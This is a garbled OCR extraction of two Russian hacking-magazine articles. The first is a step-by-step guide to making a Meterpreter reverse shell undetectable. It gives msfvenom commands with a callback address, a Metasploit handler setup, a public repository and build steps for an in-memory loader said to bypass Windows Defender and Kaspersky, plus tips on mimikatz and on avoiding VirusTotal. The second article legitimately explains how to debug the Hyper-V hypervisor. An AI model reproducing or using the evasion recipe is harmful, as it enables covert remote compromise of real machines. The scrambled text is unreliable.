Ника  Хоф фма на,  Дже реми  Хам бла  и  Тоби  Тей‐ 
лора.

Под робнее  о  Shikata Ga Nai

ОПРЕДЕЛЕНИЕ ПРОБЛЕМЫ
Да вай про верим Shikata Ga Nai на прак тике и узна ем, дей стви тель но ли его
популяр ность при вела  к  тому,  что SGN отлавли вают анти виру сы. В  качес тве
жер твы  я  буду  исполь зовать  свой  ноут бук  с  пос ледней  вер сией  Windows
10 со все ми уста нов ленны ми обновле ниями (Build 19042).

Ге нери ровать  шелл‐код  я  буду  с  помощью  MSFvenom.  В  качес тве  слу‐ 
шате ля выс тупит Kali Linux 2020.4 пос ледней вер сии с уста нов ленным Metas‐
ploit 6.0.18‐dev.

Для начала сге нери руем стан дар тную наг рузку без SGN:

 

 

 
... 
Payload size: 354 bytes 
Final size of exe file: 73802 bytes

$ msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 
LPORT=4433 ‐f exe > clean_shell.exe

На Kali под нимем handler. На интерфей се eth1 IP‐адрес  :10.10.0.180

 

 

 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost eth1 
set lport 4433

$ msfconsole

Про буем для начала передать файл, ска чав его с помощью Google Chrome.
Для  это го  под нимаю  HTTP‐сер вер  с  помощью  модуля  для  вто рой  вер сии
Python:

     $ python ‐m SimpleHTTPServer

Про бую  ска чать  наш  шелл  по  адре су 
.

http://10.10.0.180:8000/
clean_shell.exe

Оче вид но, что файл заб локиро вал Google Chrome

Да вай поп робу ем открыть файл. На этой машине с Windows 10 у меня уста‐ 
нов лена под систе ма Linux (WSL). Ска чаем этот файл в тер минале с помощью

 и поп робу ем запус тить.wget

При попыт ке открыть нас ждет пре дуп режде ние и файл уда ляет ся

Файл Meterpreter был  уда лен даже без обра щения  к  нему. Нуж но лишь ска‐ 
чать и подож дать око ло минуты. Какая вни матель ная Windows! :)

Ав томати чес кое уда ление фай ла с Meterpreter

Тем вре менем на машине с Kali тишина и слы шен звук свер чков. Поп робу ем
теперь  тех нику  кодиро вания  Shikata Ga Nai.  Соз даем  новый  пей лоад  в MS‐
Fvenom. На машине с Kali по‐преж нему висит в ожи дании handler.

До бавим  к  опци ям  ,  то  есть
исполь зуем SGN в 20 ите раций с уда лени ем пло хого сим вола  .

‐e x86/shikata_ga_nai ‐b  '\x00'  ‐i  20
\x00

 

 

 
... 
Found 1 compatible encoders 
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai 
x86/shikata_ga_nai succeeded with size 381 (iteration=0) 
... 
x86/shikata_ga_nai succeeded with size 894 (iteration=19) 
x86/shikata_ga_nai chosen with final size 894 
Payload size: 894 bytes 
Final size of exe file: 73802 bytes

$ msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 
LPORT=4433 ‐e x86/shikata_ga_nai ‐b \x00 ‐i 20 ‐f exe > sgn_20_shell.exe

Про буем  заг рузить  с  помощью  Google  Chrome:
.http://10.10.0.180:8000/sgn_20_shell.exe

SGN не помог обой ти анти вирус

Сно ва неуда ча. Пос ле ска чива ния с помощью Wget и запус ка нас ждет такая
же исто рия,  как и в прош лый раз, — с пос леду ющим уда лени ем вре доно са.
Какой мож но сде лать вывод? Пра виль но, на новых вер сиях Windows 10 Shika‐
ta Ga Nai бес полезен.

INFO

C сен тября 2020 года ком пания Google 
  для  высоко рис ковых

поль зовате лей, таких как полити ки и жур налис ты.
Заг ружа емые  учас тни ками  этой  прог раммы фай‐ 
лы  могут  сна чала  прой ти  про вер ку  на  сер верах
Google, а лишь потом попасть к поль зовате лю.

вве ла Ad‐
vanced  Protection  Program

Так  про исхо дит  потому,  что  при  запус ке  исполня емо го  фай ла  и  перед  заг‐ 
рузкой его в память сис тема пыта ется най ти сиг натуры, при над лежащие вре‐ 
донос ному ПО. В нашем слу чае такие сиг натуры были най дены и обна руже‐ 
ны.  Поэто му  Windows  10  не  раз решила  запуск.  Даже  SGN  не  помог.  Сам
по себе полимор физм в нем неп лох, но сле пок ста ба это го энко дера уже дав‐ 
но изу чен.

ЗАПУСК METERPRETER ИЗ ПАМЯТИ
Оче вид ное  решение  —  уход  в  сто рону  выпол нения  Meterpreter  из  памяти
работа юще го про цес са. Воз можно, нам удас тся обой ти не толь ко ста тичес‐ 
кий ана лиз, но и динами чес кий ана лиз защит ника Windows Defender.

Для  выпол нения  прог раммы  из  памяти  я  буду  исполь зовать  Python. 
 запус ка обратно го шел ла Python с пос леду ющей ком пиляци ей

скрип та в еди ный исполня емый файл модулем  . Безус ловно, вари ант
рабочий, хотя, как отме чает автор статьи по ссыл ке, питонов ский шелл в Win‐
dows  не  поз воля ет  делать  некото рые  вещи.  Всег да  есть  воз можность  про‐ 
апгрей дить  Meterpreter  пря мо  в  сес сии  (post‐модуль

). Одна ко это не всег да удоб но, и этот спо соб мож но
улуч шить.

Из‐ 
вестен спо соб

py2exe

shell_to_meterpreter

Най ден ный мной метод осно ван на исполь зовании  .pymemimporter
Вкрат це рас ска жу, как это работа ет. Из памяти на чис том Python заг ружа‐ 

ется  .pyd‐биб лиоте ка  memimporter  (   из  py2exe).  Биб лиоте ка
ини циали зиру ется  не  из  фай ловой  сис темы,  а  зна чит,  и  без  сис темно го
вызова  , который отсле жива ют анти виру сы. Такое решение поз‐ 
воля ет обой ти HIPS, одно из средств про активной защиты. Пос ле это го заг‐ 
ружа ется  объ ект  .  Внут ри  него  ском пилиро ван ная
и закоди рован ная в Base64 биб лиоте ка  , которая уме ет запус‐ 
кать фай лы .exe. Разуме ется, тоже из памяти.

MemoryModule

LoadLibrary

pupymem_exec_pyd
pupymemexec

Са мое инте рес ное — что все это доб ро завора чива ется еще в один слой
memimporter,  толь ко  теперь  уже  самого  py2exe.  В  резуль тате  мы  име ем
бинар ный  файл  с  кодом  на  Python,  заг ружа ющий  бинар ную  вер сию  Meter‐
preter. И вот она уже обош ла и самый новый Defender в Windows 10, и анти‐ 
вирус Кас пер ско го на подопыт ной машине с Windows 7.

В  дан ный  момент  воз можнос ти  таким  обра зом  запус кать  64‐раз рядные
при ложе ния нет, но 32‐раз рядно го режима впол не хва тит для Meterpreter.

Как вари ант для генера ции полез ной наг рузки мож но исполь зовать фрей‐ 
мворк  , в его опи сании тоже рекомен дует ся исполь зовать метод с py2exe
или PyInstaller.

Veil

Пара слов о PyInstaller
Плюс PyInstaller в том, что он может собирать .exe пря мо в Linux, минус — он
не уме ет так тес но дру жить с Windows, что бы запус кать биб лиоте ки нап рямую
из памяти. Вмес то это го он соз дает архив ZIP, и заг рузка ресур сов про исхо‐ 
дит  из  фай ловой  сис темы,  а  это  нам  не  под ходит.  Но  зато  им  удоб но
собирать прос тые шел лы на Python, сге нери рован ные в том же Veil. Но, ском‐ 
пилиро ван ные в чис том виде, они под нимут тре вогу даже на машинах с уста‐ 
рев шими анти виру сами. Пря мо как пос ле Shikata Ga Nai.

ИНСТРУКЦИЯ ПО СБОРКЕ
Для авто мати зации про цес са я написал bash‐скрипт с заготов ленны ми шаб‐ 
лонами. Собирать необ ходимо на Windows, так как в режиме эму ляции WINE
это невоз можно.

В Windows
Ус танав лива ем сле дующее ПО:

;• Python 2.7
 для вер сии 2.7;• py2exe‐0.6.9

для py2exe может пот ребовать ся уста новить  .• vcredist_x86.exe

Пос ле  уста нов ки  всех  ком понен тов  необ ходимо  сге нери ровать  фай лы
на машине с Linux. Мой скрипт пре обра зует исполня емый файл, получен ный
от  MSFvenom,  в  Base64  и  про изво дит  замены  в  зависи мос ти  от  име ни
и содер жания бинар ного фай ла, готовя его к ком пиляции в Windows.

В Linux
Для генера ции кода кло ниру ем репози торий и перехо дим в него:

git clone https://github.com/n0a/meterpreter‐av‐bypass $ 
meterpreter‐av‐bypass $ cd 

За тем  генери руем  пей лоад  с  помощью  MSFvenom  и  переда ем  имя  фай ла
в качес тве пер вого аргу мен та скрип ту  :gen.sh

 

 

 
... 
Payload size: 354 bytes 
Final size of exe file: 73802 bytes 
./gen.sh clean_shell.exe 

 

$ msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 
LPORT=4433 ‐f exe > clean_shell.exe

[+] File clean_shell.exe exists.
[+] Generate clean_shell.exe complete.

В пап ке   (она соз дает ся по име ни аргу мен та) появи лись готовые фай лы
для ком пиляции на Windows‐машине:

shell

 

 

 
make.bat  memexec.py  pymemimporter.py  setup.py  shell.py
$ ls shell

Соз дание фай лов для ком пиляции

Пе рено сим их на Windows и кла дем в корень пап ки Python (обыч но это 
), запус каем  .

C:\\
Python27\ make.bat

Ес ли все успешно, ты уви дишь сле дующее окно.

Про цесс ком пилиро вания .exe‐фай ла завер шен

В пап ке   находит ся готовый к исполь зованию Meterpreter.dist

clean_shell.exe готов к работе

WWW

Ес ли  не  хочешь  лиш ний  раз  палить  резуль тат,
заг ружая  на  VirusTotal,  можешь  исполь зовать

.nodistribute.com

ТЕСТИРУЕМ НА WINDOWS 10
Для  чис тоты  экспе римен та  я  так же  ска чаю  закоди рован ный  Meterpreter  c
помощью Chrome. Инте рес но, как поведет себя ста тичес кий ана лиза тор бра‐ 
узе ра.

Сно ва  под нимаю  сер вер  и  ска чиваю: 
.

http://10.10.0.233:8000/
clean_shell.exe

 SimpleHTTPServer $ python ‐m

Google Chrome про пус тил файл

Здо рово! Мы обош ли  сиг натур ный  ана лиз Chrome. Но  что  покажет  динами‐ 
чес кий ана лиз защит ника? Нам ничего не оста ется, кро ме как про верить это.
Не забыва ем под нять хен длер на Kali:

 

 

 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost eth1 
set lport 4433

$ msfconsole

За пус каем наш файл и смот рим в кон соль  .msf

Ра бота ющий Meterpreter в Windows 10

Ус пех! Мы толь ко что соз дали свою вер сию недетек тиру емой наг рузки Meter‐
preter. Это опре делен но победа. Давай пос мотрим, как ведет себя эта вер сия
шел ла на Windows 7 с запущен ным анти виру сом Кас пер ско го.

Ра бота Meterpreter на Windows 7 с запущен ным анти виру сом

От личный  резуль тат!  Ради  инте реса  поп робовал  миг рировать  в  про цесс
анти виру са Кас пер ско го. Естес твен но, сде лать это в   мне не уда‐ 
лось,  так  как нуж ны пра ва сис темы, а не поль зовате ля, а вот в про цесс 

 — впол не. Смыс ла нет, но забав но! :)

avpui.exe
ks‐

deui.exe

Удач ная миг рация в про цесс ком понен та Kaspersky Secure Connection

ВЫВОДЫ
Бе зус ловно, мы получи ли хороший резуль тат, но хочу еще раз обра тить вни‐ 
мание,  что  этот  метод  работа ет  толь ко  с  32‐бит ными  при ложе ниями,  в  том
чис ле и с 32‐бит ной вер сией Meterpreter.

Та ким обра зом мож но закоди ровать  . Пос ледняя вер сия у меня
запус тилась,  но  пос ле  вво да  в  коман дной  стро ке  отве та  не  пос ледова ло.
Воз можно,  более  поз дние  вер сии  будут  работать  ста биль но.  Но  это  в Win‐
dows 10, а вот в Windows 7 все работа ет отлично.

mimikatz

Ес ли будешь про бовать mimikatz, не забудь в фай ле .py с име нем генери‐ 
руемо го  .exe  рас коммен тировать  в  самом  кон це  ,  ина че
при запус ке коман дная стро ка сра зу зак роет ся без воз можнос ти вво да.

mpe.get_shell()

В зак лючение хочу ска зать, что это хороший спо соб обра бот ки голого Me‐
terpreter. Он  поз воля ет  обой ти  не  толь ко Windows Defender,  но  и  некото рую
защиту  анти виру сов.  Из  минусов  мож но  отме тить  боль шой  раз мер  фай ла
(3,7 Мбайт про тив 70 Кбайт), но в сов ремен ных сетях это не такая проб лема,
как  десять  лет  назад.  Осо бен но  при ятно,  что  соеди нение  получа ется  ста‐ 
биль ным, а фай лы для кодиро вания наг рузки готовить нес ложно.

WWW

Все исходни ки — в моем репози тории на GitHub

Дополнительная литература

1.   (GitHub)MemoryModule
2.   (блог Дидье Сти вен са)Shellcode
3.   (FireEye)Shikata Ga Nai Encoder Still Going Strong
4.    (блог
PenTest‐duck)
Offensive  Msfvenom:  From  Generating  Shellcode  to  Creating  Trojans

5. 
(Рай ан Фар ли, Синь юань Ван, PDF)
CodeXt: Automatic Extraction of Obfuscated Attack Code from Memory Dump

6. « » («Хакер»)Meterpreter в деле: хит рые при емы через MSF
7. 

 (Яо Ван)
A Combined Static and Dynamic Analysis Approach to Detect Malicious Brows‐
er Extensions

mailto:me@n0a.pw
https://www.boozallen.com/c/insight/blog/the-shikata-ga-nai-encoder.html
https://landing.google.com/advancedprotection/
https://habr.com/ru/company/tomhunter/blog/459168/
https://github.com/n1nj4sec/pymemimporter
https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/
https://github.com/Kkevsterrr/backdoorme/tree/master/backdoors/shell/__pupy/pupy/packages/src/pupymemexec
https://github.com/Veil-Framework/Veil
https://www.python.org/download/releases/2.7/
https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
https://www.microsoft.com/en-us/download/confirmation.aspx?id=5555
https://nodistribute.com/
https://github.com/n0a/meterpreter-av-bypass
https://github.com/fancycode/MemoryModule
https://blog.didierstevens.com/programs/shellcode/
https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html
https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86
https://cs.gmu.edu/~xwangc/Publications/ISC2014-AttackCodeExtraction-final.pdf
https://xakep.ru/2011/03/22/54887/#toc07
https://www.hindawi.com/journals/scn/2018/7087239/


ОТЛАДКАГИПЕР

РАЗБИРАЕМ ОТЛАДКУ 
С САМОГО НАЧАЛА

MICROSOFT HYPER‐V

Артур Худяев
gerhart@xakep.ru

ВЗЛОМ

Ги пер визор про изводс тва кор порации Microsoft, как и любая
дру гая прог рамма, соз дан людь ми, а зна чит, содер жит опре‐ 
делен ное количес тво оши бок. Поиск этих оши бок — занятие
не  толь ко  увле катель ное,  но  и  полез ное:  во‐пер вых,  Mi‐
crosoft рас полага ет собс твен ной прог раммой Bug Bounty (о
ее  осо бен ностях  я  рас ска жу  чуть  ниже),  а  во‐вто рых…
Во‐вто рых,  зна ния  об  уяз вимос тях  и  недоку мен тирован ных
воз можнос тях  при ложе ний  цен ны  сами  по  себе.  В  сегод‐ 
няшней  статье  мы  рас смот рим  прин ципы  отладки  гипер‐ 
визора Hyper‐V и раз берем ся в его осо бен ностях.

Ги пер визор ком пании Microsoft исполь зует ся в боль шом чис ле ком понен тов
Windows и, как любой слож ный про дукт, не лишен допущен ных при раз работ‐ 
ке  оши бок.  Чис ло  уяз вимос тей,  най ден ных  в  этом  про дук те  толь ко
в 2020 году, сос тавило 21.

В 2020 году в Hyper‐V была обна руже на 21 уяз вимость

Для Hyper‐V Microsoft  пред лага ет  ,  раз мер
вып лат  которой  может  дос тигать  250  тысяч  дол ларов.  Одна ко  сто ит  упо‐ 
мянуть, что Microsoft 

. Рос сия фор маль но при сутс тву ет в этом спис ке, поэто му
сле дует  про являть  осмотри тель ность,  ког да  отправ ляешь  информа цию
об уяз вимос тях в Microsoft, если ты еще ни разу не получал воз награж дение
нап рямую от вен дора. Луч ше вос поль зовать ся услу гами пос редни ка, ина че ты
можешь  стол кнуть ся  с  тем,  что  обна ружен ная  тобою  уяз вимость  вдруг
одновре мен но  будет  най дена  дру гой  ком пани ей  или  иссле дова телем.
И неваж но, что уяз вимость оста валась в про дук те нес коль ко лет (этот вари ант
был про верен на прак тике).

от дель ную  прог рамму баг‐баун ти

не работа ет со стра нами, которые находят ся в сан кци‐ 
онном спис ке США

Что бы искать уяз вимос ти в Hyper‐V, нуж но вла деть метода ми отладки это‐ 
го  гипер визора.  Акту аль ные  спо собы  отладки  и  будут  темой  сегод няшней
статьи.  Для  этих  целей  мож но  исполь зовать  эму лято ры,  под держи вающие
вло жен ную  вир туали зацию  (такие  как  VMware  Workstation  или  сам  Hyper‐V),
либо обыч ный компь ютер или ноут бук.

Термины

  —  ком понент  Hyper‐V,  отве чающий  за  фун кци они рова ние
под систе мы аппа рат ной вир туали зации про цес сора (  — Intel,

  —  AMD,    —  ARM).  В  статье  рас смат рива ется
гипер визор для про цес соров Intel.

• Ги пер визор

hvix64.exe

hvax64.exe hvaa64.exe

  —  вызов  задан ной  фун кции  в  гипер визоре
с  помощью  инс трук ции    (в  зависи мос ти  от  про‐ 
изво дите ля про цес сора).

• Ги пер вызов  (hypercall)

vmcall/vmmcall/hvc

 — Windows Server 2019 с вклю чен ным ком понен том Hyper‐
V.

• Root-раз дел

  (вир туаль ная машина, ВМ) — опе раци онная сис тема,
запущен ная в сис теме вир туали зации Hyper‐V.

• Гос тевой раз дел

 (virtual‐machine control structure) — струк тура, опре деля ющая логику
работы гипер визора.

• VMCS

 — режим, в котором работа ет гипер визор.• VMX root

  —  режим,  в  котором  работа ет  опе раци онная  сис тема
и обслу жива емое ею прик ладное прог рам мное обес печение.

• VMX  non-root

 — переход из   в   при выпол нении инс‐ 
трук ций или усло вий, задан ных в VMCS или заложен ных непос редс твен но
в логику работы про цес сора.

• VM exit VMX non-root VMX root

ОТЛАДКА ЧЕРЕЗ COM-ПОРТ
Hyper‐V сос тоит из нес коль ких ком понен тов, крат кое опи сание его струк туры
мож но най ти в  . Для отладки  ком понен тов Hyper‐V  ты можешь
исполь зовать  WinDbg  либо  дру гой  отладчик  поль зователь ско го  режима
или режима  ядра,  одна ко  для  под клю чения  непос редс твен но  к  гипер визору
необ ходимо  выпол нить  нес коль ко  допол нитель ных  шагов,  что бы  нас тро ить
рутовый раз дел.

до кумен тации

Для отладки гипер визора Microsoft раз работа ла спе циаль ное рас ширение
WinDbg  ,  которое,  к  сожале нию,  не  вхо дит  в  дис три бутив и  дос‐ 
тупно  толь ко  пар тне рам  Microsoft  (пос коль ку  это му  рас ширению  тре буют ся
сим волы для модуля гипер визора, которые Microsoft не пре дос тавля ет). Так‐ 
же в катало ге  , находя щем ся в пап ке WinDbg, есть рас ширение 

,  которое  пред назна чено  для  отладки  рас ширений  вир туаль ного  ком‐ 
мутато ра Hyper‐V.

hvexts.dll

winxp nvkd.
dll

Файл  справ ки  WinDbg  содер жит  опи сание  отладки  гипер визора  через
COM‐порт  (отладка  Hyper‐V  через  нуль‐модем ное  кабель ное  соеди нение
в фай ле  ), под разуме вающее наличие двух физичес ких машин.
Так же  гипер визор  мож но  отла дить,  если  запус тить  его  в  любом  под держи‐ 
ваемом прог рам мном обес печении вир туали зации. Далее мы будем исполь‐ 
зовать VMware Workstation.

debugger.chm

Для начала нуж но уста новить Windows Server 2019 в качес тве гос тевой ОС
и вклю чить ком понент Hyper‐V. Если нап рямую под клю чить ся к вир туаль ному
COM‐пор ту  VMware,  то  при  ком муника ции  пой дут  ошиб ки  обме на  пакетов
(слож но  ска зать,  с  чем  это  свя зано).  Исполь зуй  какую‐нибудь  бес плат ную
ути литу эму ляции COM‐пор та для ста били зации соеди нения (я уста новил ути‐ 
литу  эму лято ра  COM‐пор та    вер‐ 
сии  3.32.  Пос ледняя  вер сия  4.12  выда ет  ошиб ки,  ког да  vmdemux  пыта ется
открыть COM‐порт).

Free  Virtual  Serial  Ports  от  HHD‐software

Об щий порядок дей ствий таков.
1. Соз дай COM‐порт для  вир туаль ной машины VMware  (Hardware →  Add →
Serial port → Use named pipe). Вве ди  .\\.\pipe\com_1

Соз дание COM‐пор та для вир туаль ной машины

2. Для  нас трой ки  отладки  вве ди  в  коман дной  стро ке  опции  отладки  гипер‐ 
визора:

       bcdedit /hypervisorsettings serial DEBUGPORT:1 BAUDRATE:115200
     bcdedit /set hypervisordebug on

За тем нуж но ввес ти парамет ры отладки хос товой ОС (будет исполь зован
тот же COM‐порт):

     bcdedit /set dbgtransport kdhvcom.dll
       bcdedit /dbgsettings serial DEBUGPORT:1 BAUDRATE:115200
   bcdedit /debug on

До пол нитель но  (для  отладки  заг рузки  гипер визора  —  см.  соот ветс тву‐ 
ющий раз дел статьи):

     Bcdedit /set bootdebug on

Ни же при веден спи сок модулей отладки, при сутс тву ющих в Windows:

kdcom.dll 
kdhvcom.dll 
kd1934.dll 
kdhv1394.dll 
kdusb.dll 
kdnet.dll (разные производители сетевых карт — разные модули) 
kd.dll 

В нашем слу чае мы исполь зуем  .kdhvcom.dll
3. Пе резаг рузи  Windows  Server  2019.  Заг рузка  оста новит ся  и  будет  ждать
под клю чения отладчи ка.

4. От крой HHD software Free Virtual Serial Ports, выбери File, затем Create Pipe
Port. В поле Pipe name ука жи то же зна чение, что было рань ше запол нено
для вир туаль ной машины, —  . Чек бокс Create pipe дол жен
быть  отклю чен  (в  про тив ном  слу чае  будет  соз дан  новый  име нован ный
канал, а не выпол нено под клю чение к сущес тву юще му). Наж ми OK.

\\.\pipe\com_1

Соз дание нового пор та

Вир туаль ный  COM‐порт  нуж но  соз давать  пос ле  запус ка  вир туаль ной
машины, ина че ты уви дишь ошиб ку, что канал не был соз дан (VMware соз‐ 
дает канал пос ле запус ка ВМ).

5. За пус ти  ути литу  vmdemux  (находит ся  в  пап ке  с WinDbg  x64)  с  ука зани ем
име ни  толь ко что соз данно го COM‐пор та в  качес тве одно го из парамет‐ 
ров:

vmdemux.exe ‐src com:port=com2,baud=115200

Ути лита  соз даст  два  име нован ных  канала:    для  гипер визора  и 
для root‐раз дела.

Vm0 Vm1

Ути лита vmdemux соз даст два име нован ных канала

6. Ты можешь под клю чить WinDbg Preview  к  каж дому  каналу  для  тес тирова‐ 
ния:

        WinDBGx.exe ‐k com:port=\\.\pipe\Vm1,pipe,reconnect,resets=0 –
root‐раздел

        WinDBGx.exe ‐k com:port=\\.\pipe\Vm0,pipe,reconnect,resets=0 –
гипервизор

Под клю чение WinDbg к соз данным нами каналам

7. Пос ле  это го  мож но  открыть файл  hvix64.exe  в  IDA  PRO,  выб рать WinDbg
в качес тве отладчи ка и ука зать в process options → connection string: 

.
com:

port=\\.\pipe\Vm0,pipe,resets=0
8. Вы бери Process Attach, наж ми Same.
9. От ладчик оста новит ся внут ри гипер визора.

От ладчик оста новит ся внут ри гипер визора

10. По срав нению с Windows Server 2012 (R2) в акту аль ной вер сии сер верной
вин ды появил ся новый модуль —  . Ран ние вер сии гипер визора
ста тичес ки лин ковались с биб лиоте кой отладки и име ли дос таточ но боль‐ 
шой раз мер (2–3 Мбайт), раз мер текущей вер сии (10.0.17763.1577) гипер‐ 
визора   — 1230 Кбайт. В слу чае сетевой отладки 
будет заменен под ходящим отла доч ным модулем, нап ример 

.

kdstub.dll

hvix64.exe kdstub.dll
kd_02_8086.

dll

При сетевой отладке kdstub.dll будет заменен под ходящим отла доч ‐
ным модулем

Во всех под робнос тях нас трой ка отладки через COM‐порт в сре де Hyper‐
V опи сана  .в статье Саара Ама ра (@AmarSaar)

ОТЛАДКА ПО СЕТИ
В Windows Server 2012 и выше появи лась воз можность отладки гипер визора
по  сети.  Так же  эта  воз можность  при сутс тву ет  во  всех  вер сиях  Windows  10.
Для  это го  в  хос товой ОС необ ходимо  выпол нить  коман ды,  что бы нас тро ить
парамет ры отладки гипер визора:

     bcdedit /set hypervisordebug on
       bcdedit /hypervisorsettings NET HOSTIP:192.168.2.1 PORT:50000

Ес ли  есть  необ ходимость,  для  отладки  ОС  на  хос те  нуж но  ука зать  дру гой
порт:

   bcdedit /debug yes
     bcdedit /dbgsettings net hostip:192.168.2.1 port:50002

Пос ле выпол нения команд будет отоб ражена стро ка для под клю чения. В нас‐ 
трой ках  вир туаль ной  машины  VMware  нуж но  уста новить  тип  адап тера  Host
Only, в нас трой ках вир туаль ной сети  (Edit → Virtual Network Editor) нас тро ить
DHCP для это го адап тера и убе дить ся, что гос тевая ОС нор маль но получа ет
этот адрес, нап ример выпол нив коман ду  . Опция 

  поз воля ет  исполь зовать  IP‐адрес  опе раци онной  сис‐ 
темы. В этом слу чае нас трой ка DHCP необя затель на.

ipconfig /renew bcdedit /
dbgsettings  nodhcp

Пос ле  это го  нуж но  запус тить  два  экзем пля ра  IDA  PRO,  выб рать  тип
отладки KernelMode, ука зать в Process Option → Connection string сле дующие
стро ки, получен ные в резуль тате выпол нения при веден ных выше команд:

net:port=50002,Key=1.2.3.4 — root partition 
net:port=50000,Key=5.6.7.8 — hypervisor 

Это поз воля ет одновре мен но отла живать root‐раз дел и гипер визор. Сетевая
отладка  гораз до про ще в  кон фигура ции, дает бльшую про изво дитель ность
и ста биль нее, поэто му я рекомен дую исполь зовать ее там, где это воз можно.
Выпол нить  некото рые  коман ды WinDbg мож но  даже  без  наличия  сим волов.
Если какие‐то из перечис ленных ниже команд не будут дос тупны, прос то пов‐ 
торно заг рузи сле дующие рас ширения WinDbg:

.load kext 

.load kdexts 

.load exts 

.load ext 

Здесь:
 — прос мотр заг ружен ных модулей (обыч но hv и модуль отладки);• lm

 — прос мотр сте ка;• k

,   — чте ние/запись дан ных по вир туаль ным адре сам;• d e

,   — чте ние/запись дан ных в физичес кой памяти;• !d !e

 — отоб ражение зна чений регис тров;• r

 —  тран сля ция  вир туаль ных  адре сов  в  физичес кие.  Спер ва  нуж но
получить  содер жимое  регис тра    и  исполь зовать  его  как  пер вый
параметр. Вир туаль ный адрес — вто рой параметр.

• !vtop

cr3

       2: kd> !vtop 0x10839d000 0xfffffbb3aa6c3e66
       Amd64VtoP: Virt fffffbb3aa6c3e66, pagedir 000000010839d000
   Amd64VtoP: PML4E 000000010839dfb8
   Amd64VtoP: PDPE 000000010a603670
   Amd64VtoP: PDE 000000010a604a98
         Amd64VtoP: Large page mapped phys 00000001000c3e66

             Virtual address fffffbb3aa6c3e66 translates to physical address 1000
c3e66.
!pte2va

 !ptov <cr3>

‐рас ширение  дос тупно  тоже,  но  с  некото рыми  огра ниче ниями  (из‐за
отсутс твия  сим волов): 

.    —  псев дорегистр,  отоб ража ющий
адрес заг рузки модуля гипер визора (hvix64).

dx
@$debuggerRootNamespace.Debugger.State.

PseudoRegisters.General Exentry

Exentry — псев дорегистр, отоб ража ющий адрес заг рузки модуля гипер ‐
визора

ОТЛАДКА С ИСПОЛЬЗОВАНИЕМ ВСТРОЕННЫХ ВОЗМОЖНОСТЕЙ
VMWP.EXE
От ладка  вир туаль ной  машины  может  быть  выпол нена  с  исполь зовани ем
встро енных воз можнос тей про цес са   (на одну ВМ один экзем пляр).
Эту воз можность   один из архи тек‐ 
торов Hyper‐V Джейк Ошинс (Jake Oshins). Более под робно опи сал Рафа эль
Ривера  (Rafael  Rivera  —  )  в  .  Я  обно вил  скрипт
Риверы и выложил его на  .

vmwp.exe
впер вые упо мянул на форуме OSR online

@WithinRafael сво ем  бло ге
GitHub

Скрипт  так же  может  скон фигури ровать  парамет ры  заг рузчи ка  гос тевой
ОС при помощи PowerShell direct. Для это го:
1. Вык лючи гос тевую ОС.
2. Ука жи парамет ры для скрип та  .hyperv‐dbg‐2019.ps1

Па рамет ры для скрип та hyperv‐dbg‐2019.ps1

3. За пус ти скрипт от име ни адми нис тра тора (или отклю чи UAC).
4. За пус ти WinDbg сле дующей коман дой:

   WinDBG ‐k net:port=50010,target=127.0.0.1,key=1.2.3.4

5. Вы пол ни коман ду break  (Ctrl‐Break), пос ле которой отладчик оста новит ся
внут ри  гос тевой ОС. Теперь мож но иссле довать ВМ, исполь зуя стан дар‐ 
тные  коман ды  WinDbg,  но  в  моих  экспе римен тах  интенсив ная  отладка
(нап ример, трас сиров ка) нес коль ко раз при води ла к тому, что все зависа‐ 
ло.

ОТЛАДКА ЧЕРЕЗ ПРОТОКОЛ GDB
VMware  Workstation  под держи вает  встро енный  GDB‐отладчик.  Что бы  его
вклю чить,  нуж но  добавить  нес коль ко  строк  в  кон фигура цион ный  файл
VMware:

. .  = debugStub listen guest64 "TRUE"

. . .  =   — для подключения с других 
сетевых машин 
debugStub listen guest64 remote "TRUE"

.  = debugStub hideBreakpoints "TRUE"
.  = monitor debugOnStartGuest64 "TRUE" — остановка сразу же после 

включения VM

За тем ты можешь под клю чить  IDA PRO, «Гид ру» или Radare2 к акти виро ван‐ 
ному  сер веру  GDB.  При мер  отладки  через  GDB‐про токол  будет  показан
в раз деле «Заг рузка гипер визора».

ОТЛАДКА ЭМУЛЯТОРА WINDOWS 10X
Эму лятор  Windows  10X  дос тупен  в  магази не  Microsoft  Store.  Этот  эму лятор
работа ет  на  базе  Hyper‐V.  Сам  эму лятор  запус кает ся  как  Hyper‐V  ВМ,  Win‐
dows 10X — вло жен ная ВМ.

Не обхо димо смон тировать образ    (прос то два раза щел кнуть
мышью  на  фай ле),  с  которым  работа ет  эму лятор  и  который  рас положен
в пап ке по сле дующе му пути:

flash.vhdx

C:\ProgramFiles\WindowsApps\Microsoft.Windows10XEmulatorIm‐
age10.0.19578.0Previ_1.0.1.0_x64__8wekyb3d8bbwe\Content 

Ско пируй файл в дру гое мес то, если у тебя появ ляют ся сооб щения об ошиб‐ 
ках дос тупа. Имя катало га может отли чать ся для раз личных вер сий эму лято‐ 
ра. До и пос ле мон тирова ния спи сок раз делов может выг лядеть сле дующим
обра зом.

Сос тояние сис темы до мон тирова ния

Сос тояние сис темы пос ле мон тирова ния

Вы бери том с мет кой VIRT_EFIESP:

             Get‐Volume | ? {$_.FileSystemLabel ‐eq "VIRT_EFIESP"} | Format‐List
    \ mountvol Z: \\?\Volume{12aef83a‐6cf2‐4ea1‐932f‐b3a586a65308}

     bcdedit /store "Z:\efi\Microsoft\boot\BCD" /dbgsettings

Ко ман да 
покажет опции заг рузоч ной записи опе раци онной сис темы эму лято ра. Что бы
у нас появи лась воз можность отладки гос тевой ОС, понадо бит ся дамп ядра,
который мож но получить с исполь зовани ем встро енных фун кций эму лято ра.

bcdedit  /enum  all  /v  /store  "Z:\efi\Microsoft\boot\BCD"

По луче ние дам па ядра

От крой Windows device portal — «Отладка». Заг рузи  live kernel dump, а затем
открой его в WinDbg и запус ти скрипт  . Скрипт най‐ 
дет парамет ры   и закоди рует в фор мате Base36.

